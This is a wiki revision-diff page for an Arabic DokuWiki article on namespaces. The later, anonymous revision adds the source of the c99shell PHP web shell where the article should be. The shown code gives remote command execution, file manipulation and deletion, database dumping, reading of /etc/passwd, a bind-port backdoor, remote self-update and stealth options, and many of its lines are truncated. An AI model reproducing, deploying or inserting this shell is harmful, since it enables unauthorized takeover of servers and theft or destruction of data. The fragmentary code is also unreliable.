ar:namespaces
اختلافات
عرض الاختلافات بين النسخة المختارة و النسخة الحالية من الصفحة.
جانبي المراجعة السابقةالمراجعة السابقةالمراجعة التالية | المراجعة السابقةالمراجعة التاليةجانبي المراجعة التالية | ||
ar:namespaces [2008-11-30 19:51] – 62.147.131.79 | ar:namespaces [2014-06-25 06:19] – [Namespaces] 188.53.119.53 | ||
---|---|---|---|
سطر 1: | سطر 1: | ||
+ | <? | ||
+ | //add php tags before usage | ||
+ | /* | ||
+ | ****************************************************************************************************** | ||
+ | * | ||
+ | * c99shell.php v.1.0 beta (?? 21.05.2005) | ||
+ | * Freeware license. | ||
+ | * © CCTeaM. | ||
+ | * c99shell - ???? | ||
+ | * ?? ?????? ????????? ??????? ????????? ?????? ?? ???????? ????????? ????????: | ||
+ | | ||
+ | * | ||
+ | * WEB: http:// | ||
+ | * ICQ UIN #: 656555 | ||
+ | * | ||
+ | * ???????????: | ||
+ | * + ?????????? ?????????? ? ?????????? (ftp, samba *) ???????/???????, | ||
+ | * ??????????? ?????????? ?????? ? ????? | ||
+ | * (?????????????? | ||
+ | * ??????????? ????? (???????? ?????? ??????) | ||
+ | * modify-time ? access-time ? ?????? ?? ???????? ??? ?????????????? | ||
+ | * + ??????????? SQL-???????? | ||
+ | ????????/????????/?????????????? | ||
+ | * + ?????????? ?????????? unix-?????? | ||
+ | * + ??????? (?????? ??????????? | ||
+ | * + ?????????? ????????????? | ||
+ | * + ?????????? ?????? ????? md5, unix-md5, sha1, crc32, base64 | ||
+ | * + ??????? ????????? ?????? ???????????? | ||
+ | * + ??????? ftp-???????????? | ||
+ | * ???????????? | ||
+ | * + ?????? "?????" | ||
+ | ????? ????? ???????? $surl (??????? ??????) ??? ????? ???????????? | ||
+ | ???? ????-?????? ???????? $set_surl ? cookie " | ||
+ | * + ??????????? "?????????" | ||
+ | * ??? ??????? back connect (???????????? | ||
+ | * + ??????????? ???????? ???? | ||
+ | * + ????????????????? | ||
+ | * * - ????? ????????? ??????? ?? ???????????? | ||
+ | * | ||
+ | * ? ????? ????? ??????? ??? ???! | ||
+ | * | ||
+ | * ????????? | ||
+ | * ~ ???????? sql-????????? | ||
+ | * ~ ?????????? ??????????? ?????????? ?????? | ||
+ | * | ||
+ | * ~-~ ?????? ??? ???? ???????? ????????????, | ||
+ | ? ICQ UIN #656555 ???? ????? ?????? " | ||
+ | * | ||
+ | * Last modify: 21.05.2005 | ||
+ | * | ||
+ | * © Captain Crunch Security TeaM. Coded by tristram | ||
+ | * | ||
+ | ****************************************************************************************************** | ||
+ | */ | ||
+ | |||
+ | //Starting calls | ||
+ | if (!function_exists(" | ||
+ | error_reporting(5); | ||
+ | @ignore_user_abort(true); | ||
+ | @set_magic_quotes_runtime(0); | ||
+ | @set_time_limit(0); | ||
+ | $win = strtolower(substr(PHP_OS, | ||
+ | if (!@ob_get_contents()) {@ob_start(); | ||
+ | define(" | ||
+ | if (get_magic_quotes_gpc()) {if (!function_exists(" | ||
+ | $_REQUEST = array_merge($_COOKIE, | ||
+ | foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} | ||
+ | |||
+ | $shver = "1.0 beta (21.05.2005)"; | ||
+ | // | ||
+ | if (!empty($unset_surl)) {setcookie(" | ||
+ | elseif (!empty($set_surl)) {$surl = $set_surl; setcookie(" | ||
+ | else {$surl = $_REQUEST[" | ||
+ | } | ||
+ | |||
+ | $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. | ||
+ | |||
+ | if ($surl_autofill_include and !$_REQUEST[" | ||
+ | if (empty($surl)) | ||
+ | { | ||
+ | $surl = "?" | ||
+ | } | ||
+ | $surl = htmlspecialchars($surl); | ||
+ | |||
+ | $timelimit = 60; //limit of execution this script (seconds), 0 = unlimited. | ||
+ | |||
+ | // | ||
+ | |||
+ | $login = " | ||
+ | // | ||
+ | $pass = " | ||
+ | $md5_pass = ""; | ||
+ | |||
+ | /*COMMENT IT FOR TURN ON AUTHENTIFICATION >>> | ||
+ | |||
+ | $host_allow = array(" | ||
+ | $login_txt = " | ||
+ | $accessdeniedmess = "<a href=\" | ||
+ | |||
+ | $autoupdate = false; //Automatic updating? | ||
+ | $updatenow = false; //If true, update now | ||
+ | $c99sh_updatefurl = " | ||
+ | |||
+ | $filestealth = false; //if true, don't change modify& | ||
+ | |||
+ | $donated_html = "< | ||
+ | /* If you publish free shell and you wish | ||
+ | add link to your site or any other information, | ||
+ | put here your html. */ | ||
+ | $donated_act = array("" | ||
+ | |||
+ | $curdir = " | ||
+ | //$curdir = getenv(" | ||
+ | $tmpdir = ""; | ||
+ | $tmpdir_log = " | ||
+ | |||
+ | $log_email = " | ||
+ | |||
+ | $sort_default = " | ||
+ | $sort_save = true; //If true then save sorting-type. | ||
+ | |||
+ | // Registered file-types. | ||
+ | // array( | ||
+ | // " | ||
+ | // " | ||
+ | // ... | ||
+ | // ) | ||
+ | $ftypes | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | ); | ||
+ | |||
+ | // Registered executable file-types. | ||
+ | // array( | ||
+ | // | ||
+ | // ... | ||
+ | // ) | ||
+ | // | ||
+ | $exeftypes | ||
+ | | ||
+ | ); | ||
+ | |||
+ | /* Highlighted files. | ||
+ | array( | ||
+ | | ||
+ | ... | ||
+ | ) | ||
+ | string {regexp} - regular exp. | ||
+ | int {type}: | ||
+ | 0 - files and folders (as default), | ||
+ | 1 - files only, 2 - folders only | ||
+ | string {opentag} - open html-tag, e.g. "< | ||
+ | string {closetag} - close html-tag, e.g. "</ | ||
+ | bool {break} - if true and found match then break | ||
+ | */ | ||
+ | $regxp_highlight | ||
+ | array(basename($_SERVER[" | ||
+ | array(" | ||
+ | ); | ||
+ | |||
+ | $safemode_diskettes = array(" | ||
+ | // array (i=> | ||
+ | // Set as false or for turn off. | ||
+ | $hexdump_lines = 8; // lines in hex preview file | ||
+ | $hexdump_rows = 24; // 16, 24 or 32 bytes in one line | ||
+ | |||
+ | $nixpwdperpage = 100; // Get first N lines from /etc/passwd | ||
+ | |||
+ | $bindport_pass = " | ||
+ | $bindport_port = " | ||
+ | |||
+ | // Command-aliases | ||
+ | if (!$win) | ||
+ | { | ||
+ | | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | array(" | ||
+ | ); | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | | ||
+ | array(" | ||
+ | array(" | ||
+ | ); | ||
+ | } | ||
+ | |||
+ | $sess_cookie = " | ||
+ | |||
+ | $usefsbuff = true; // | ||
+ | $copy_unset = false; //Remove copied files from buffer after pasting | ||
+ | |||
+ | //Quick launch | ||
+ | $quicklaunch = array( | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | ); | ||
+ | |||
+ | // | ||
+ | $highlight_background = "# | ||
+ | $highlight_bg = "# | ||
+ | $highlight_comment = "# | ||
+ | $highlight_default = "# | ||
+ | $highlight_html = "# | ||
+ | $highlight_keyword = "# | ||
+ | $highlight_string = "# | ||
+ | |||
+ | @$f = $_REQUEST[" | ||
+ | @extract($_REQUEST[" | ||
+ | |||
+ | //END CONFIGURATION | ||
+ | |||
+ | |||
+ | // \/ Next code isn't for editing \/ | ||
+ | $tmp = array(); | ||
+ | foreach($host_allow as $k=>$v) {$tmp[] = str_replace(" | ||
+ | $s = " | ||
+ | if (!preg_match($s, | ||
+ | if ($login) | ||
+ | { | ||
+ | | ||
+ | if (($_SERVER[" | ||
+ | { | ||
+ | if ($login_txt === false) {$login_txt = ""; | ||
+ | elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("& | ||
+ | header(" | ||
+ | header(" | ||
+ | exit($accessdeniedmess); | ||
+ | } | ||
+ | } | ||
+ | if ($act != " | ||
+ | { | ||
+ | $lastdir = realpath(" | ||
+ | chdir($curdir); | ||
+ | if (($selfwrite) or ($updatenow)) | ||
+ | { | ||
+ | if ($selfwrite == " | ||
+ | | ||
+ | $data = file_get_contents($c99sh_updatefurl); | ||
+ | $fp = fopen($data," | ||
+ | | ||
+ | | ||
+ | exit; | ||
+ | } | ||
+ | $sess_data = unserialize($_COOKIE[" | ||
+ | if (!is_array($sess_data)) {$sess_data = array();} | ||
+ | if (!is_array($sess_data[" | ||
+ | if (!is_array($sess_data[" | ||
+ | |||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function c99_buff_prepare() | ||
+ | { | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | if ($act != " | ||
+ | else {foreach($sess_data[" | ||
+ | } | ||
+ | } | ||
+ | c99_buff_prepare(); | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function c99_sess_put($data) | ||
+ | { | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | $data = serialize($data); | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if ($sort_save) | ||
+ | { | ||
+ | if (!empty($sort)) {setcookie(" | ||
+ | if (!empty($sql_sort)) {setcookie(" | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function str2mini($content, | ||
+ | { | ||
+ | if (strlen($content) > $len) | ||
+ | { | ||
+ | $len = ceil($len/ | ||
+ | return substr($content, | ||
+ | } | ||
+ | else {return $content;} | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function view_size($size) | ||
+ | { | ||
+ | if (!is_numeric($size)) {return false;} | ||
+ | else | ||
+ | { | ||
+ | if ($size >= 1073741824) {$size = round($size/ | ||
+ | elseif ($size >= 1048576) {$size = round($size/ | ||
+ | elseif ($size >= 1024) {$size = round($size/ | ||
+ | else {$size = $size . " B";} | ||
+ | return $size; | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function fs_copy_dir($d, | ||
+ | { | ||
+ | $d = str_replace(" | ||
+ | if (substr($d, | ||
+ | $h = opendir($d); | ||
+ | while (($o = readdir($h)) !== false) | ||
+ | { | ||
+ | if (($o != " | ||
+ | { | ||
+ | if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o, | ||
+ | else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); | ||
+ | if (!$ret) {return $ret;} | ||
+ | } | ||
+ | } | ||
+ | | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function fs_copy_obj($d, | ||
+ | { | ||
+ | $d = str_replace(" | ||
+ | $t = str_replace(" | ||
+ | if (!is_dir(dirname($t))) {mkdir(dirname($t)); | ||
+ | if (is_dir($d)) | ||
+ | { | ||
+ | if (substr($d, | ||
+ | if (substr($t, | ||
+ | return fs_copy_dir($d, | ||
+ | } | ||
+ | | ||
+ | else {return false;} | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function fs_move_dir($d, | ||
+ | { | ||
+ | $h = opendir($d); | ||
+ | if (!is_dir($t)) {mkdir($t); | ||
+ | while (($o = readdir($h)) !== false) | ||
+ | { | ||
+ | if (($o != " | ||
+ | { | ||
+ | $ret = true; | ||
+ | if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o, | ||
+ | else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o, | ||
+ | if (!$ret) {return $ret;} | ||
+ | } | ||
+ | } | ||
+ | | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function fs_move_obj($d, | ||
+ | { | ||
+ | $d = str_replace(" | ||
+ | $t = str_replace(" | ||
+ | if (is_dir($d)) | ||
+ | { | ||
+ | if (substr($d, | ||
+ | if (substr($t, | ||
+ | return fs_move_dir($d, | ||
+ | } | ||
+ | | ||
+ | { | ||
+ | if(copy($d, | ||
+ | else {unlink($t); | ||
+ | } | ||
+ | else {return false;} | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function fs_rmdir($d) | ||
+ | { | ||
+ | $h = opendir($d); | ||
+ | while (($o = readdir($h)) !== false) | ||
+ | { | ||
+ | if (($o != " | ||
+ | { | ||
+ | if (!is_dir($d.$o)) {unlink($d.$o); | ||
+ | else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); | ||
+ | } | ||
+ | } | ||
+ | | ||
+ | | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function fs_rmobj($o) | ||
+ | { | ||
+ | $o = str_replace(" | ||
+ | if (is_dir($o)) | ||
+ | { | ||
+ | if (substr($o, | ||
+ | return fs_rmdir($o); | ||
+ | } | ||
+ | | ||
+ | else {return false;} | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function myshellexec($cmd) | ||
+ | { | ||
+ | | ||
+ | if (!empty($cmd)) | ||
+ | { | ||
+ | if (is_callable(" | ||
+ | elseif (is_callable(" | ||
+ | elseif (is_callable(" | ||
+ | elseif (is_callable(" | ||
+ | elseif (($result = `$cmd`) !== false) {} | ||
+ | elseif (is_resource($fp = popen($cmd," | ||
+ | { | ||
+ | | ||
+ | | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function view_perms($mode) | ||
+ | { | ||
+ | if (($mode & 0xC000) === 0xC000) {$type = " | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | else {$type = "?"; | ||
+ | |||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | |||
+ | if( $mode & 0x800 ) {$owner[" | ||
+ | if( $mode & 0x400 ) {$group[" | ||
+ | if( $mode & 0x200 ) {$world[" | ||
+ | |||
+ | | ||
+ | $group[" | ||
+ | $world[" | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function parse_perms($mode) | ||
+ | { | ||
+ | if (($mode & 0xC000) === 0xC000) {$t = " | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | else {$t = "?"; | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function view_perms_color($o) | ||
+ | { | ||
+ | if (!is_readable($o)) {return "< | ||
+ | | ||
+ | else {return "< | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function c99sh_getupdate() | ||
+ | { | ||
+ | | ||
+ | $data = @file_get_contents($c99sh_updatefurl."? | ||
+ | if (!$data) {echo " | ||
+ | else | ||
+ | { | ||
+ | $data = unserialize(base64_decode($data)); | ||
+ | if (!is_array($data)) {echo " | ||
+ | elseif ($shver < $data[" | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function mysql_dump($set) | ||
+ | { | ||
+ | | ||
+ | $sock = $set[" | ||
+ | $db = $set[" | ||
+ | | ||
+ | | ||
+ | $file = $set[" | ||
+ | | ||
+ | $tabs = $set[" | ||
+ | | ||
+ | $ret = array(); | ||
+ | | ||
+ | if (!is_resource($sock)) {echo(" | ||
+ | if (empty($db)) {$db = " | ||
+ | if (empty($print)) {$print = 0;} | ||
+ | if (empty($nl2br)) {$nl2br = 0;} | ||
+ | if (empty($add_drop)) {$add_drop = true;} | ||
+ | if (empty($file)) | ||
+ | { | ||
+ | global $win; | ||
+ | if ($win) {$file = " | ||
+ | else {$file = "/ | ||
+ | } | ||
+ | if (!is_array($tabs)) {$tabs = array();} | ||
+ | if (empty($add_drop)) {$add_drop = true;} | ||
+ | if (sizeof($tabs) == 0) | ||
+ | { | ||
+ | // retrive tables-list | ||
+ | $res = mysql_query(" | ||
+ | if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} | ||
+ | } | ||
+ | | ||
+ | | ||
+ | $out = "# Dumped by C99Shell.SQL v. " | ||
+ | # Home page: http:// | ||
+ | # | ||
+ | # Host settings: | ||
+ | # MySQL version: (" | ||
+ | # Date: " | ||
+ | # " | ||
+ | # | ||
+ | "; | ||
+ | $c = count($onlytabs); | ||
+ | | ||
+ | { | ||
+ | if ((in_array($tab, | ||
+ | { | ||
+ | if ($add_drop) {$out .= "DROP TABLE IF EXISTS `" | ||
+ | // recieve query for create table structure | ||
+ | $res = mysql_query(" | ||
+ | if (!$res) {$ret[" | ||
+ | else | ||
+ | { | ||
+ | $row = mysql_fetch_row($res); | ||
+ | $out .= $row[" | ||
+ | // recieve table variables | ||
+ | $res = mysql_query(" | ||
+ | if (mysql_num_rows($res) > 0) | ||
+ | { | ||
+ | while ($row = mysql_fetch_assoc($res)) | ||
+ | { | ||
+ | $keys = implode(" | ||
+ | $values = array_values($row); | ||
+ | foreach($values as $k=>$v) {$values[$k] = addslashes($v); | ||
+ | $values = implode("', | ||
+ | $sql = " | ||
+ | $out .= $sql; | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | $out .= "# | ||
+ | if ($file) | ||
+ | { | ||
+ | $fp = fopen($file, | ||
+ | if (!$fp) {$ret[" | ||
+ | else | ||
+ | { | ||
+ | | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if ($print) {if ($nl2br) {echo nl2br($out); | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function mysql_buildwhere($array, | ||
+ | { | ||
+ | if (!is_array($array)) {$array = array();} | ||
+ | | ||
+ | | ||
+ | { | ||
+ | $value = ""; | ||
+ | if (!empty($functs[$k])) {$value .= $functs[$k]." | ||
+ | $value .= "'" | ||
+ | if (!empty($functs[$k])) {$value .= " | ||
+ | $result .= " | ||
+ | } | ||
+ | | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function mysql_fetch_all($query, | ||
+ | { | ||
+ | if ($sock) {$result = mysql_query($query, | ||
+ | else {$result = mysql_query($query); | ||
+ | | ||
+ | while ($row = mysql_fetch_array($result)) {$array[] = $row;} | ||
+ | | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function mysql_smarterror($type, | ||
+ | { | ||
+ | if ($sock) {$error = mysql_error($sock); | ||
+ | else {$error = mysql_error(); | ||
+ | | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function mysql_query_form() | ||
+ | { | ||
+ | | ||
+ | if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty"; | ||
+ | if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} | ||
+ | if ((!$submit) or ($sql_act)) | ||
+ | { | ||
+ | echo "< | ||
+ | if ($tbl_struct) | ||
+ | { | ||
+ | echo "< | ||
+ | | ||
+ | echo "</ | ||
+ | } | ||
+ | } | ||
+ | if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query; | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function mysql_create_db($db, | ||
+ | { | ||
+ | $sql = " | ||
+ | if ($sock) {return mysql_query($sql, | ||
+ | else {return mysql_query($sql); | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function mysql_query_parse($query) | ||
+ | { | ||
+ | | ||
+ | $arr = explode (" ", | ||
+ | / | ||
+ | { | ||
+ | " | ||
+ | " | ||
+ | ... | ||
+ | } | ||
+ | if output_type == 0, no output, | ||
+ | if output_type == 1, no output if no error | ||
+ | if output_type == 2, output without control-buttons | ||
+ | if output_type == 3, output with control-buttons | ||
+ | */ | ||
+ | | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | ); | ||
+ | | ||
+ | $op = strtoupper($arr[0]); | ||
+ | if (is_array($types[$op])) | ||
+ | { | ||
+ | $result[" | ||
+ | $result[" | ||
+ | if ($types[$op] == 2) | ||
+ | { | ||
+ | | ||
+ | { | ||
+ | if (strtoupper($v) == " | ||
+ | { | ||
+ | | ||
+ | | ||
+ | if (count($result[" | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | else {return false;} | ||
+ | } | ||
+ | } | ||
+ | if (!function_exists(" | ||
+ | { | ||
+ | function c99fsearch($d) | ||
+ | { | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | if (substr($d, | ||
+ | $h = opendir($d); | ||
+ | while (($f = readdir($h)) !== false) | ||
+ | { | ||
+ | if($f != " | ||
+ | { | ||
+ | $bool = (empty($a[" | ||
+ | if (is_dir($d.$f)) | ||
+ | { | ||
+ | $search_i_d++; | ||
+ | if (empty($a[" | ||
+ | if (!is_link($d.$f)) {c99fsearch($d.$f); | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | $search_i_f++; | ||
+ | if ($bool) | ||
+ | { | ||
+ | if (!empty($a[" | ||
+ | { | ||
+ | $r = @file_get_contents($d.$f); | ||
+ | if ($a[" | ||
+ | if (!$a[" | ||
+ | if ($a[" | ||
+ | else {$bool = strpos(" | ||
+ | if ($a[" | ||
+ | if ($bool) {$found[] = $d.$f; $found_f++; | ||
+ | } | ||
+ | else {$found[] = $d.$f; $found_f++; | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if ($act == " | ||
+ | //Sending headers | ||
+ | header(" | ||
+ | header(" | ||
+ | header(" | ||
+ | header(" | ||
+ | header(" | ||
+ | if (empty($tmpdir)) | ||
+ | { | ||
+ | if (!$win) {$tmpdir = "/ | ||
+ | else {$tmpdir = getenv(" | ||
+ | } | ||
+ | else {$tmpdir = realpath($tmpdir); | ||
+ | $tmpdir = str_replace(" | ||
+ | if (substr($tmpdir, | ||
+ | if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} | ||
+ | else {$tmpdir_logs = realpath($tmpdir_logs); | ||
+ | if (@ini_get(" | ||
+ | { | ||
+ | | ||
+ | | ||
+ | } | ||
+ | else {$safemode = false; $hsafemode = "< | ||
+ | $v = @ini_get(" | ||
+ | if ($v or strtolower($v) == " | ||
+ | else {$openbasedir = false; $hopenbasedir = "< | ||
+ | $sort = htmlspecialchars($sort); | ||
+ | if (empty($sort)) {$sort = $sort_default; | ||
+ | $sort[1] = strtolower($sort[1]); | ||
+ | $DISP_SERVER_SOFTWARE = getenv(" | ||
+ | if (!ereg(" | ||
+ | $DISP_SERVER_SOFTWARE = str_replace(" | ||
+ | @ini_set(" | ||
+ | @ini_set(" | ||
+ | @ini_set(" | ||
+ | @ini_set(" | ||
+ | @ini_set(" | ||
+ | @ini_set(" | ||
+ | if (!is_array($actbox)) {$actbox = array();} | ||
+ | $dspact = $act = htmlspecialchars($act); | ||
+ | $disp_fullpath = $ls_arr = $notls = null; | ||
+ | $ud = urlencode($d); | ||
+ | ?>< | ||
+ | $d = str_replace(" | ||
+ | if (empty($d)) {$d = realpath(" | ||
+ | $d = str_replace(" | ||
+ | if (substr($d, | ||
+ | $d = str_replace(" | ||
+ | $dispd = htmlspecialchars($d); | ||
+ | $pd = $e = explode(DIRECTORY_SEPARATOR, | ||
+ | $i = 0; | ||
+ | foreach($pd as $b) | ||
+ | { | ||
+ | $t = ""; | ||
+ | | ||
+ | $j = 0; | ||
+ | | ||
+ | { | ||
+ | $t.= $r.DIRECTORY_SEPARATOR; | ||
+ | if ($j == $i) {break;} | ||
+ | $j++; | ||
+ | } | ||
+ | echo "<a href=\"" | ||
+ | $i++; | ||
+ | } | ||
+ | echo "& | ||
+ | if (is_writable($d)) | ||
+ | { | ||
+ | $wd = true; | ||
+ | $wdt = "< | ||
+ | echo "< | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | $wd = false; | ||
+ | $wdt = "< | ||
+ | echo "< | ||
+ | } | ||
+ | if (is_callable(" | ||
+ | { | ||
+ | $free = disk_free_space($d); | ||
+ | | ||
+ | if ($free === false) {$free = 0;} | ||
+ | if ($total === false) {$total = 0;} | ||
+ | if ($free < 0) {$free = 0;} | ||
+ | if ($total < 0) {$total = 0;} | ||
+ | $used = $total-$free; | ||
+ | | ||
+ | echo "< | ||
+ | } | ||
+ | echo "< | ||
+ | $letters = ""; | ||
+ | if ($win) | ||
+ | { | ||
+ | $v = explode(" | ||
+ | $v = $v[0]; | ||
+ | | ||
+ | { | ||
+ | $bool = $isdiskette = in_array($letter, | ||
+ | if (!$bool) {$bool = is_dir($letter.": | ||
+ | if ($bool) | ||
+ | { | ||
+ | | ||
+ | if ($letter.":" | ||
+ | else {$letters .= "< | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if (!empty($letters)) {echo "< | ||
+ | } | ||
+ | if (count($quicklaunch) > 0) | ||
+ | { | ||
+ | | ||
+ | { | ||
+ | $item[1] = str_replace(" | ||
+ | $item[1] = str_replace(" | ||
+ | $v = realpath($d." | ||
+ | if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR, | ||
+ | $item[1] = str_replace(" | ||
+ | echo "<a href=\"" | ||
+ | } | ||
+ | } | ||
+ | ?></ | ||
+ | if ((!empty($donated_html)) and (in_array($act, | ||
+ | ?>< | ||
+ | if ($act == "" | ||
+ | if ($act == " | ||
+ | { | ||
+ | | ||
+ | if ($sql_login) | ||
+ | if ($sql_passwd) {$sql_surl .= "& | ||
+ | if ($sql_server) {$sql_surl .= "& | ||
+ | if ($sql_port) | ||
+ | if ($sql_db) | ||
+ | | ||
+ | ?>< | ||
+ | if ($sql_server) | ||
+ | { | ||
+ | $sql_sock = mysql_connect($sql_server.":" | ||
+ | $err = mysql_smarterror(); | ||
+ | @mysql_select_db($sql_db, | ||
+ | if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query, | ||
+ | } | ||
+ | else {$sql_sock = false;} | ||
+ | echo "< | ||
+ | if (!$sql_sock) | ||
+ | { | ||
+ | if (!$sql_server) {echo "NO CONNECTION"; | ||
+ | else {echo "< | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | $sqlquicklaunch = array(); | ||
+ | $sqlquicklaunch[] = array(" | ||
+ | $sqlquicklaunch[] = array(" | ||
+ | $sqlquicklaunch[] = array(" | ||
+ | $sqlquicklaunch[] = array(" | ||
+ | $sqlquicklaunch[] = array(" | ||
+ | $sqlquicklaunch[] = array(" | ||
+ | echo "< | ||
+ | if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"" | ||
+ | echo "</ | ||
+ | } | ||
+ | echo "</ | ||
+ | if (!$sql_sock) {?>< | ||
+ | else | ||
+ | { | ||
+ | //Start left panel | ||
+ | if (!empty($sql_db)) | ||
+ | { | ||
+ | ?>< | ||
+ | | ||
+ | if (!$result) {echo mysql_smarterror(); | ||
+ | else | ||
+ | { | ||
+ | echo "---[ <a href=\"" | ||
+ | $c = 0; | ||
+ | while ($row = mysql_fetch_array($result)) {$count = mysql_query (" | ||
+ | if (!$c) {echo "No tables found in database."; | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | ?>< | ||
+ | | ||
+ | if (!$result) {echo mysql_smarterror(); | ||
+ | else | ||
+ | { | ||
+ | ?>< | ||
+ | $c = 0; | ||
+ | $dbs = ""; | ||
+ | while ($row = mysql_fetch_row($result)) {$dbs .= "< | ||
+ | echo "< | ||
+ | echo $dbs; | ||
+ | } | ||
+ | ?></ | ||
+ | } | ||
+ | //End left panel | ||
+ | echo "</ | ||
+ | //Start center panel | ||
+ | $diplay = true; | ||
+ | if ($sql_db) | ||
+ | { | ||
+ | if (!is_numeric($c)) {$c = 0;} | ||
+ | if ($c == 0) {$c = " | ||
+ | echo "< | ||
+ | if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"" | ||
+ | echo "</ | ||
+ | $acts = array(""," | ||
+ | if ($sql_act == " | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | { | ||
+ | if ($sql_tbl_insert_radio == 1) | ||
+ | { | ||
+ | $keys = ""; | ||
+ | | ||
+ | | ||
+ | if (!empty($keys)) {$keys = substr($keys, | ||
+ | | ||
+ | $i = 0; | ||
+ | | ||
+ | if (!empty($values)) {$values = substr($values, | ||
+ | | ||
+ | | ||
+ | | ||
+ | } | ||
+ | elseif ($sql_tbl_insert_radio == 2) | ||
+ | { | ||
+ | $set = mysql_buildwhere($sql_tbl_insert,", | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if ($sql_act == " | ||
+ | { | ||
+ | echo "< | ||
